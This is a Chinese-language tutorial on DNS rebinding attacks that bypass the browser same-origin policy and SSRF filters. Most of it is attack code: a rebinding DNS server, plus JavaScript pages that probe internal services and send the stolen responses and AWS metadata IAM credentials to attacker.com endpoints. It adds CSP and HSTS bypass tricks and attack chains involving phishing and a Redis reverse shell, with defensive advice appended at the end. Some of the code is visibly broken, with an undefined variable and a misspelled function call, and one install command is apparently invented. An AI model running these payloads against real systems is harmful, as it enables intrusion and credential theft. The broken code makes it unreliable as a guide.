title: "【教程】DNS重绑定攻击实战:从原理到SSRF利用全解析"
tags: [DNS Rebinding, SSRF, 同源策略绕过, 内网渗透, 网络安全]
category: research
适合人群:有一定Web安全基础的渗透测试人员、安全研究员
前置知识:DNS基础、HTTP协议、SSRF概念、浏览器同源策略
一、前置准备
1.1 什么是DNS重绑定(DNS Rebinding)
DNS重绑定(DNS Rebinding)是一种绕过浏览器同源策略(Same-Origin Policy)的攻击技术。攻击者通过控制一个域名的DNS解析,在短时间内将该域名从攻击者控制的IP切换到目标内网IP,从而让浏览器以为访问的是"同一个源",实际上却在访问内网服务。
通俗理解:你信任一个域名(比如 evil.com),浏览器也信任它。第一次访问时DNS返回攻击者服务器的IP,浏览器建立了会话;第二次访问时DNS突然返回 127.0.0.1,浏览器依然认为是同一个源,于是攻击者通过JavaScript操控请求发送到内网。
1.2 核心原理
时间线:
T1: victim.com → DNS查询 → evil.com DNS服务器 → 返回 1.2.3.4(攻击者IP)
T2: 浏览器访问 http://evil.com/ → 加载恶意JS
T3: 恶意JS发起请求 http://evil.com/api → DNS重绑 → 返回 127.0.0.1
T4: 浏览器认为是同源请求 → JS读取127.0.0.1的响应 → 数据泄露给攻击者
1.3 环境搭建
# 创建项目目录
mkdir -p ~/dns-rebinding-lab && cd ~/dns-rebinding-lab
# 安装Node.js(用于重绑定DNS服务器)
# 如果没有Node.js
apt-get install -y nodejs npm
# 创建DNS重绑定服务器
cat > dns-server.js << 'DNSEOF'
const dgram = require('dgram');
const server = dgram.createSocket('udp4');
// 重绑定配置
const config = {
port: 53,
targetDomain: 'rebind.evil.com',
// 第一次解析返回攻击者IP(你的服务器公网IP)
attackerIP: process.env.ATTACKER_IP || 'x.x.x.x',
// 第二次解析返回内网目标IP
targetIP: '127.0.0.1',
rebindingCount: 0 // 请求计数器
};
function parseDNS(data) {
const questions = [];
let offset = 12; // 跳过头部
const questionCount = data.readUInt16BE(4);
for (let i = 0; i < questionCount; i++) {
const labels = [];
while (data[offset] !== 0) {
const len = data[offset];
offset++;
labels.push(data.slice(offset, offset + len).toString());
offset += len;
}
offset++; // 跳过0x00
const type = data.readUInt16BE(offset);
offset += 2;
const cls = data.readUInt16BE(offset);
offset += 2;
questions.push({ name: labels.join('.'), type, cls });
}
return questions;
}
function buildResponse(data, questions, resolvedIP) {
const header = Buffer.alloc(12);
data.copy(header, 0, 0, 4);
header.writeUInt16BE(data.readUInt16BE(2) | 0x80, 2); // 设置QR位
header.writeUInt16BE(1, 6); // ANCOUNT = 1
header.writeUInt16BE(0, 8); // NSCOUNT = 0
header.writeUInt16BE(0, 10); // ARCOUNT = 0
let answer = header;
// QNAME部分 - 复用原始查询
let qnameOffset = 12;
while (data[qnameOffset] !== 0) {
qnameOffset += data[qnameOffset] + 1;
}
qnameOffset++; // 跳过0x00
const qnameEnd = qnameOffset + 4; // QTYPE + QCLASS
answer = Buffer.concat([answer, data.slice(12, qnameEnd)]);
// ANWER部分 - 名称指针 + 类型 + TTL + 长度 + IP
const answerRecord = Buffer.alloc(16);
answerRecord.writeUInt16BE(0xC00C, 0); // 名称指针
answerRecord.writeUInt16BE(1, 2); // TYPE A
answerRecord.writeUInt16BE(1, 4); // CLASS IN
answerRecord.writeUInt32BE(0, 6); // TTL 0(不缓存)
answerRecord.writeUInt16BE(4, 10); // RDLENGTH
const ipParts = resolvedIP.split('.').map(Number);
answerRecord[12] = ipParts[0];
answerRecord[13] = ipParts[1];
answerRecord[14] = ipParts[2];
answerRecord[15] = ipParts[3];
return Buffer.concat([answer, answerRecord]);
}
server.on('message', (msg, rinfo) => {
const questions = parseDNS(msg);
const queryName = questions[0]?.name || '';
// 只处理目标域名
if (queryName.includes(config.targetDomain)) {
config.rebindingCount++;
// 奇数次返回攻击者IP,偶数次返回目标IP
let resolvedIP;
if (config.rebindingCount % 2 === 1) {
resolvedIP = config.attackerIP;
console.log(`[第一次] ${queryName} → ${resolvedIP} (攻击者IP)`);
} else {
resolvedIP = config.targetIP;
console.log(`[重绑定] ${queryName} → ${resolvedIP} (内网目标)`);
}
const response = buildResponse(msg, questions, resolvedIP);
server.send(response, rinfo.port, rinfo.address);
} else {
// 非目标域名,返回NXDOMAIN
const response = Buffer.alloc(msg.length);
msg.copy(response, 0, 0, 6);
response.writeUInt16BE(data.readUInt16BE(2) | 0x83, 2); // RCODE=3 (NXDOMAIN)
response.writeUInt16BE(0, 6);
server.send(response, rinfo.port, rinfo.address);
}
});
server.bind(config.port, () => {
console.log(`DNS重绑定服务器启动在端口 ${config.port}`);
console.log(`目标域名: ${config.targetDomain}`);
console.log(`攻击者IP: ${config.attackerIP}`);
console.log(`重绑定目标: ${config.targetIP}`);
});
DNSEOF
echo "[+] DNS服务器创建完成"
1.4 创建恶意攻击页面
cat > attacker-page.js << 'ATTEOF'
// 攻击者控制的Web服务器上的JavaScript
// 这段代码会通过DNS重绑定访问内网服务
const targetServices = [
{ name: 'Redis', url: 'http://127.0.0.1:6379' },
{ name: 'MongoDB', url: 'http://127.0.0.1:27017' },
{ name: 'Elasticsearch', url: 'http://127.0.0.1:9200' },
{ name: 'Docker API', url: 'http://127.0.0.1:2375' },
{ name: 'Internal Web App', url: 'http://192.168.1.100:8080' },
{ name: 'Jenkins', url: 'http://192.168.1.50:8080' },
];
// 攻击方式1: 读取内网API响应(同源策略绕过)
async function exfiltrateViaFetch(service) {
try {
const response = await fetch(service.url, {
method: 'GET',
credentials: 'include' // 携带cookie
});
const data = await response.text();
// 将数据发送给攻击者
await fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
service: service.name,
status: response.status,
data: data.substring(0, 10000) // 截断防止过大
})
});
console.log(`[+] 成功获取 ${service.name} 数据: ${data.substring(0, 200)}`);
} catch (err) {
console.log(`[-] ${service.name} 不可达: ${err.message}`);
}
}
// 攻击方式2: 通过表单提交探测内网服务
function exfiltrateViaForm(service) {
const form = document.createElement('form');
form.method = 'POST';
form.action = service.url;
form.target = '_blank';
const input = document.createElement('input');
input.name = 'command';
input.value = 'PING'; // Redis等服务的命令
form.appendChild(input);
document.body.appendChild(form);
form.submit();
setTimeout(() => document.body.removeChild(form), 1000);
}
// 攻击方式3: 通过img标签触发DNS查询(DNS Rebinding配合)
function exfiltrateViaImage(service) {
const img = new Image();
img.src = `${service.url}/?data=${encodeURIComponent('stolen-data')}`;
img.onerror = () => console.log(`[-] ${service.url} 不可达`);
}
// 攻击方式4: 通过WebSocket连接内网服务
function exfiltrateViaWebSocket(service) {
try {
const ws = new WebSocket(service.url.replace('http', 'ws'));
ws.onopen = () => {
ws.send(JSON.stringify({ type: 'subscribe', channel: '*' }));
};
ws.onmessage = (event) => {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({ service: service.name, data: event.data })
});
};
} catch (err) {
console.log(`[-] WebSocket连接失败: ${err.message}`);
}
}
// 主攻击流程
(async function attack() {
// 等待DNS重绑定生效
for (const service of targetServices) {
await exfiltrateViaFetch(service);
await new Promise(r => setTimeout(r, 2000)); // 间隔避免被检测
}
})();
ATTEOF
echo "[+] 攻击页面创建完成"
二、核心原理
2.1 浏览器同源策略与DNS重绑定的关系
浏览器的同源策略(SOP)基于 (protocol, hostname, port) 三元组判断两个资源是否同源。DNS重绑定的关键在于:
- 浏览器缓存DNS:第一次解析后,浏览器可能缓存DNS结果
- DNS TTL = 0:设置极短的TTL让DNS结果不被缓存
- 预连接:浏览器在加载页面时可能已经建立了TCP连接
- DNS预解析:
<link rel="dns-prefetch">可能触发预解析
正常SOP检查:
evil.com (1.2.3.4) → evil.com (127.0.0.1)
protocol相同 + hostname相同 + port相同 = 同源 ✓
→ 浏览器允许JS访问响应内容!
2.2 重绑定的三种触发方式
| 方式 | 原理 | 可靠性 | 防御难度 |
|---|---|---|---|
| 定时重绑 | DNS服务器在指定时间后切换IP | ★★★ | 低 |
| 请求计数重绑 | 第N次查询返回不同IP | ★★★★ | 中 |
| 竞态条件重绑 | 利用浏览器DNS解析与TCP连接的时间差 | ★★★★★ | 高 |
2.3 关键约束与绕过
# 约束1: HSTS预加载列表
# 如果域名在HSTS列表中,浏览器强制HTTPS,无法绕过
# 解决:使用不在列表中的域名
# 约束2: DNS预取
# 浏览器可能预解析DNS,导致重绑定失败
# 解决:使用 <meta http-equiv="x-dns-prefetch-control" content="off">
# 约束3: CORS头检查
# 如果目标返回 Access-Control-Allow-Origin: null
# 解决:设置文档为 data: URI 或 sandboxed iframe
# 约束4: WebSocket同源检查
# WebSocket会检查Origin头
# 解决:使用不检查Origin的服务
三、实操步骤
3.1 使用现成工具 - rbndr
# 安装rbndr(最流行的DNS重绑定工具)
pip3 install rbndr
# 或者使用Docker
docker run -d -p 53:53/udp -e DNS_PORT=53 rebinder
# 生成重绑定域名
# 访问 https://lock.cmpxchg8b.com/rebinder.html
# 输入:
# - 攻击者IP: x.x.x.x
# - 目标IP: 127.0.0.1
# 得到域名如: 0x7f000001.x.x.x.x.rebinder.com
# (十六进制IP + 攻击者域名)
# 使用方式
# 1. 访问 http://0x7f000001.x.x.x.x.rebinder.com/payload.html
# 2. 浏览器解析该域名到攻击者IP
# 3. payload.html中的JS发起请求时DNS重绑到127.0.0.1
3.2 使用rebinder
# rebinder是另一个常用工具
# https://github.com/taviso/rbndr
git clone https://github.com/taviso/rbndr.git
cd rbndr
# 修改配置
cat > config.ini << 'CFG'
# rebinder配置
[default]
# 第一次返回的IP(攻击者)
ip1 = x.x.x.x
# 第二次返回的IP(内网目标)
ip2 = 127.0.0.1
CFG
# 启动
python3 rbndr.py
3.3 自建DNS重绑定服务器(Node.js)
# 使用之前创建的dns-server.js
# 启动DNS服务器
node dns-server.js &
# 配置域名指向你的DNS服务器
# 在域名注册商处设置NS记录指向你的服务器IP
# 或者使用子域名:rebind.evil.com → 你的NS服务器
# 创建攻击HTML页面
cat > /var/www/html/attack.html << 'HTMLEOF'
<!DOCTYPE html>
<html>
<head>
<title>DNS Rebinding PoC</title>
<meta http-equiv="x-dns-prefetch-control" content="off">
</head>
<body>
<h1>DNS重绑定攻击演示</h1>
<div id="results">正在攻击中...</div>
<script>
// 方式1: 使用XMLHttpRequest(同步模式更容易触发重绑定)
function syncRequest(url) {
const xhr = new XMLHttpRequest();
xhr.open('GET', url, false); // 同步模式
try {
xhr.send();
return { status: xhr.status, data: xhr.responseText };
} catch (e) {
return { error: e.message };
}
}
// 方式2: 使用fetch + cache busting
async function fetchWithCacheBust(url) {
const separator = url.includes('?') ? '&' : '?';
const bustUrl = `${url}${separator}_=${Date.now()}`;
const response = await fetch(bustUrl, { mode: 'no-cors' });
return response;
}
// 方式3: 通过iframe
function iframeAttack(url) {
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.style.display = 'none';
document.body.appendChild(iframe);
}
// 执行攻击
async function execute() {
const results = [];
// 尝试访问内网服务
const targets = [
'http://127.0.0.1:80',
'http://127.0.0.1:8080',
'http://192.168.1.1',
'http://192.168.1.100:8080',
];
for (const target of targets) {
const result = syncRequest(target);
results.push({ target, ...result });
}
// 发送结果给攻击者
await fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify(results)
});
document.getElementById('results').innerHTML =
'<pre>' + JSON.stringify(results, null, 2) + '</pre>';
}
execute();
</script>
</body>
</html>
HTMLEOF
echo "[+] 攻击页面部署完成"
3.4 利用DNS重绑定绕过SSRF防护
很多SSRF防护通过检查域名解析后的IP来阻止访问内网。DNS重绑定可以绕过这种防护:
# SSRF防护代码(有缺陷)
import requests
import socket
def safe_fetch(url):
"""检查目标IP是否为内网"""
hostname = url.split('/')[2].split(':')[0]
ip = socket.gethostbyname(hostname)
# 检查是否为内网IP
if ip.startswith('127.') or ip.startswith('10.') or \
ip.startswith('192.168.') or ip.startswith('172.'):
raise Exception("禁止访问内网地址")
# 发起请求
return requests.get(url, timeout=5)
# 绕过方法:DNS重绑定
# 1. 第一次DNS解析返回公网IP(通过检查)
# 2. 第二次DNS解析返回内网IP(实际请求)
# 3. 检查和请求之间存在时间窗口
# 攻击脚本
import threading
import time
class DNSRebinder:
def __init__(self, domain, public_ip, internal_ip):
self.domain = domain
self.public_ip = public_ip
self.internal_ip = internal_ip
self.current_ip = public_ip
def dns_server(self):
"""简单的DNS服务器"""
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', 53))
while True:
data, addr = sock.recvfrom(512)
# 返回当前IP
response = self.build_dns_response(data, self.current_ip)
sock.sendto(response, addr)
def flip(self):
"""切换DNS解析"""
if self.current_ip == self.public_ip:
self.current_ip = self.internal_ip
else:
self.current_ip = self.public_ip
# 使用示例
rebinder = DNSRebinder('rebind.evil.com', 'x.x.x.x', '192.168.1.1')
# 启动DNS服务器
dns_thread = threading.Thread(target=rebinder.dns_server)
dns_thread.daemon = True
dns_thread.start()
# 等待受害者访问
# 当受害者访问 http://rebind.evil.com/payload.html 时
# 浏览器会发起多次请求,DNS重绑定生效
3.5 利用DNS重绑定访问云元数据服务
# AWS元数据服务: http://169.254.169.254
# 很多SSRF防护会阻止这个IP
# DNS重绑定可以绕过
# 攻击页面
cloud_attack_html = '''
<!DOCTYPE html>
<html>
<head><title>Cloud Metadata Exfil</title></head>
<body>
<script>
const metadataPaths = [
'/latest/meta-data/',
'/latest/meta-data/iam/security-credentials/',
'/latest/meta-data/hostname',
'/latest/user-data/',
'/latest/meta-data/public-keys/',
];
async function stealMetadata() {
const results = {};
for (const path of metadataPaths) {
try {
// 使用DNS重绑定域名指向169.254.169.254
const response = await fetch(`http://metadata.rebind.evil.com${path}`, {
mode: 'no-cors'
});
// 如果是同源,可以读取响应
const text = await response.text();
results[path] = text;
} catch (e) {
results[path] = 'Error: ' + e.message;
}
}
// 发送给攻击者
await fetch('https://attacker.com/cloud-data', {
method: 'POST',
body: JSON.stringify(results)
});
}
// 延迟执行,等待DNS重绑定
setTimeout(steerMetadata, 3000);
</script>
</body>
</html>
'''
四、绕过技术
4.1 绕过DNS缓存
# 问题:浏览器和系统DNS缓存会阻止重绑定
# 解决方案1: 设置TTL=0
# DNS服务器响应中设置TTL为0秒
# 解决方案2: 使用DNS over HTTPS (DoH)
# 现代浏览器使用DoH,绕过本地DNS缓存
# Cloudflare DoH: https://1.1.1.1/dns-query
# Google DoH: https://dns.google/resolve
# 解决方案3: 使用WebRTC泄漏真实IP
# 通过WebRTC获取真实IP,配合重绑定
# 解决方案4: 利用DNS预解析竞争
# 在页面加载前就触发DNS查询
<link rel="dns-prefetch" href="//rebind.evil.com">
<link rel="preconnect" href="//rebind.evil.com">
4.2 绕过CSP(Content Security Policy)
<!-- CSP可能阻止内联脚本执行 -->
<!-- 绕过方式1: 使用外部脚本 -->
<script src="http://rebind.evil.com/payload.js"></script>
<!-- 绕过方式2: 使用eval + 数据URI -->
<a href="data:text/html,<script>eval(atob('...'))</script>">Click</a>
<!-- 绕过方式3: 利用JSONP端点 -->
<script src="http://target.com/jsonp?callback=alert//"></script>
<!-- 绕过方式4: 使用service worker -->
<script>
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js');
}
</script>
4.3 绕过HSTS预加载
# HSTS预加载列表阻止了常见域名的HTTP访问
# 绕过方法1: 使用不在列表中的域名
# 绕过方法2: 利用子域名(子域名不在预加载列表中)
# 绕过方法3: 使用DNS重绑定 + WebSocket(不受HSTS限制)
# 检查域名是否在HSTS列表中
curl -s https://hstspreload.org/api/v2/status?domain=example.com
4.4 高级绕过技巧
# 技巧1: 使用IPv6地址
# 很多防护只检查IPv4,IPv6可能绕过
# 内网IPv6: fe80::1, ::1, fd00::/8
# 技巧2: 使用DNS over TLS (DoT)
# 端口853,绕过传统DNS监控
# 技巧3: 利用HTTP/2多路复用
# HTTP/2允许在单个连接上并发多个请求
# 可以同时发起多个重绑定请求
# 技巧4: 使用WebAssembly执行DNS解析
# WASM可以绕过浏览器的DNS限制
const wasmCode = new Uint8Array([
// ... WASM字节码
]);
WebAssembly.instantiate(wasmCode).then(result => {
// 在WASM中执行DNS解析
});
# 技巧5: 利用DNS分区(DNS Split Horizon)
# 同一域名在不同网络环境下返回不同IP
# 企业内网和公网看到不同的解析结果
五、实战案例复盘
案例1: 通过DNS重绑定接管内部管理面板
场景:某公司内部管理面板运行在 192.168.1.50:8080
防护:SSRF检查只允许公网IP
攻击链:
1. 注册域名 admin.rebind.com → 指向攻击者DNS服务器
2. 发送钓鱼邮件,诱导员工访问 http://admin.rebind.com/login
3. 浏览器第一次解析到攻击者公网IP,加载恶意JS
4. 恶意JS发起请求到 http://admin.rebind.com/api
5. DNS重绑定到 192.168.1.50:8080
6. 浏览器认为同源,JS读取管理面板响应
7. 攻击者获取管理员凭据
结果:攻击者通过DNS重绑定成功访问内部管理面板
案例2: 云环境元数据窃取
场景:AWS EC2实例,SSRF防护阻止169.254.169.254
攻击链:
1. 创建DNS重绑定域名 metadata.rebind.com
2. 诱导受害者访问恶意页面
3. 页面JS请求 http://metadata.rebind.com/latest/meta-data/
4. DNS重绑定到 169.254.169.254
5. 获取IAM角色临时凭据
6. 使用临时凭据访问S3存储桶
结果:攻击者获取AWS临时凭据,访问敏感数据
案例3: 企业内网横向移动
场景:企业内网有多个服务(Redis、MongoDB、Jenkins)
攻击链:
1. 员工访问恶意网站
2. 恶意JS通过DNS重绑定探测内网
3. 发现Redis未授权访问(192.168.1.20:6379)
4. 通过Redis写入cron任务,反弹shell
5. 获取内网服务器控制权
结果:从一个员工浏览器访问,到控制内网服务器
六、防御建议
6.1 DNS层面防护
# 1. 使用DNS安全扩展(DNSSEC)
# 防止DNS缓存投毒和重绑定
# 2. 部署DNS监控
# 监控异常的DNS查询模式(短时间内同一域名多次解析到不同IP)
# 3. 使用DNS防火墙
# 阻止解析到已知恶意IP的查询
# 4. 限制DNS TTL
# 设置最小TTL为300秒(5分钟)
6.2 浏览器层面防护
// 1. 禁用JavaScript(极端情况)
// 2. 使用浏览器扩展阻止内网访问
// 3. 启用严格模式的CSP
Content-Security-Policy: default-src 'self'; script-src 'self'
// 4. 使用浏览器隔离容器
// Chrome的SITE隔离功能
// Firefox的多账户容器
6.3 网络层面防护
# 1. 防火墙规则
# 阻止浏览器直接访问内网端口
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP
# 2. 网络分段
# 将Web服务器和内部服务放在不同网段
# 3. 零信任架构
# 所有请求都需要验证,不信任内部网络
# 4. 部署WAF规则
# 检测DNS重绑定特征(如短时间内多次解析同一域名)
6.4 应用层面防护
# 1. 请求时验证IP(不是DNS解析时)
import requests
import socket
def safe_request(url):
# 解析域名
hostname = url.split('/')[2]
ip = socket.gethostbyname(hostname)
# 检查IP
if is_internal_ip(ip):
raise Exception("禁止访问内网")
# 发起请求时再次检查(防止竞态条件)
response = requests.get(url)
# 验证响应来自预期IP
actual_ip = socket.gethostbyname(hostname)
if actual_ip != ip:
raise Exception("DNS重绑定检测")
return response
# 2. 使用IP白名单
# 只允许访问特定的公网IP
# 3. 使用代理服务器
# 通过代理发起请求,代理负责IP检查
# 4. 实施DNS pinning
# 缓存DNS结果,不重新解析
七、常见陷阱
7.1 DNS缓存问题
# 陷阱:浏览器DNS缓存导致重绑定失败
# 解决:设置TTL=0,使用cache busting参数
# 清除本地DNS缓存
# Linux
sudo systemd-resolve --flush-caches
# macOS
sudo dscacheutil -flushcache
# Windows
ipconfig /flushdns
7.2 竞态条件
# 陷阱:DNS解析和TCP连接之间存在时间差
# 解决:使用同步请求(XMLHttpRequest sync mode)
# 或者使用prefetch/preconnect触发预解析
# 竞态条件利用
# 1. 在页面加载时立即发起DNS查询
# 2. 在DNS缓存过期前发起实际请求
# 3. 使用多个并发请求增加成功率
7.3 CSP绕过失败
# 陷阱:CSP阻止了内联脚本执行
# 解决:使用外部脚本、JSONP、service worker
# 测试CSP
curl -I http://target.com | grep -i content-security-policy
7.4 HTTPS限制
# 陷阱:HTTPS阻止了HTTP重绑定
# 解决:使用WebSocket(ws://)或不受HSTS保护的域名
# 检查HSTS状态
curl -sI https://target.com | grep -i strict-transport-security
八、总结
速查表
| 攻击方式 | 工具 | 适用场景 | 难度 |
|---|---|---|---|
| DNS重绑定 + SSRF | rbndr/rebinder | 绕过SSRF防护 | ★★★ |
| DNS重绑定 + 云元数据 | 自定义DNS服务器 | AWS/GCP元数据窃取 | ★★★★ |
| DNS重绑定 + 内网探测 | Node.js DNS服务器 | 企业内网服务发现 | ★★★ |
| DNS重绑定 + WebSocket | 浏览器JS | 绕过HTTP限制 | ★★★★★ |
防御清单
| 防御措施 | 有效性 | 实施难度 | 推荐指数 |
|---|---|---|---|
| DNSSEC | ★★★★ | 高 | ★★★ |
| DNS监控 | ★★★ | 中 | ★★★★ |
| 网络分段 | ★★★★★ | 高 | ★★★★★ |
| 零信任架构 | ★★★★★ | 极高 | ★★★★ |
| 浏览器隔离 | ★★★ | 低 | ★★★★★ |
| CSP严格模式 | ★★★ | 低 | ★★★★ |
核心要点
- DNS重绑定的本质:利用DNS解析的不一致性绕过浏览器同源策略
- 攻击窗口:DNS解析与实际请求之间的时间差是关键
- 绕过防护:可以绕过SSRF防护、HSTS、CSP等多种安全机制
- 防御关键:网络分段 + 零信任 + 浏览器隔离是最有效的组合
- 检测难点:DNS重绑定流量与正常DNS查询难以区分
常用工具
- rbndr: https://github.com/taviso/rbndr - 最流行的DNS重绑定工具
- rebinder: https://github.com/daeken/rebinder - 另一个常用工具
- DNSChef: https://github.com/iphelix/dnschef - 多功能DNS代理
- Node.js自建: 灵活性最高,可定制重绑定逻辑
参考资料
💡 实战建议:DNS重绑定是高级渗透测试中的重要技术。在实际测试中,建议先使用rbndr等现成工具验证目标是否存在漏洞,再考虑自定义DNS服务器进行深度利用。防御方面,网络分段和零信任架构是最根本的解决方案。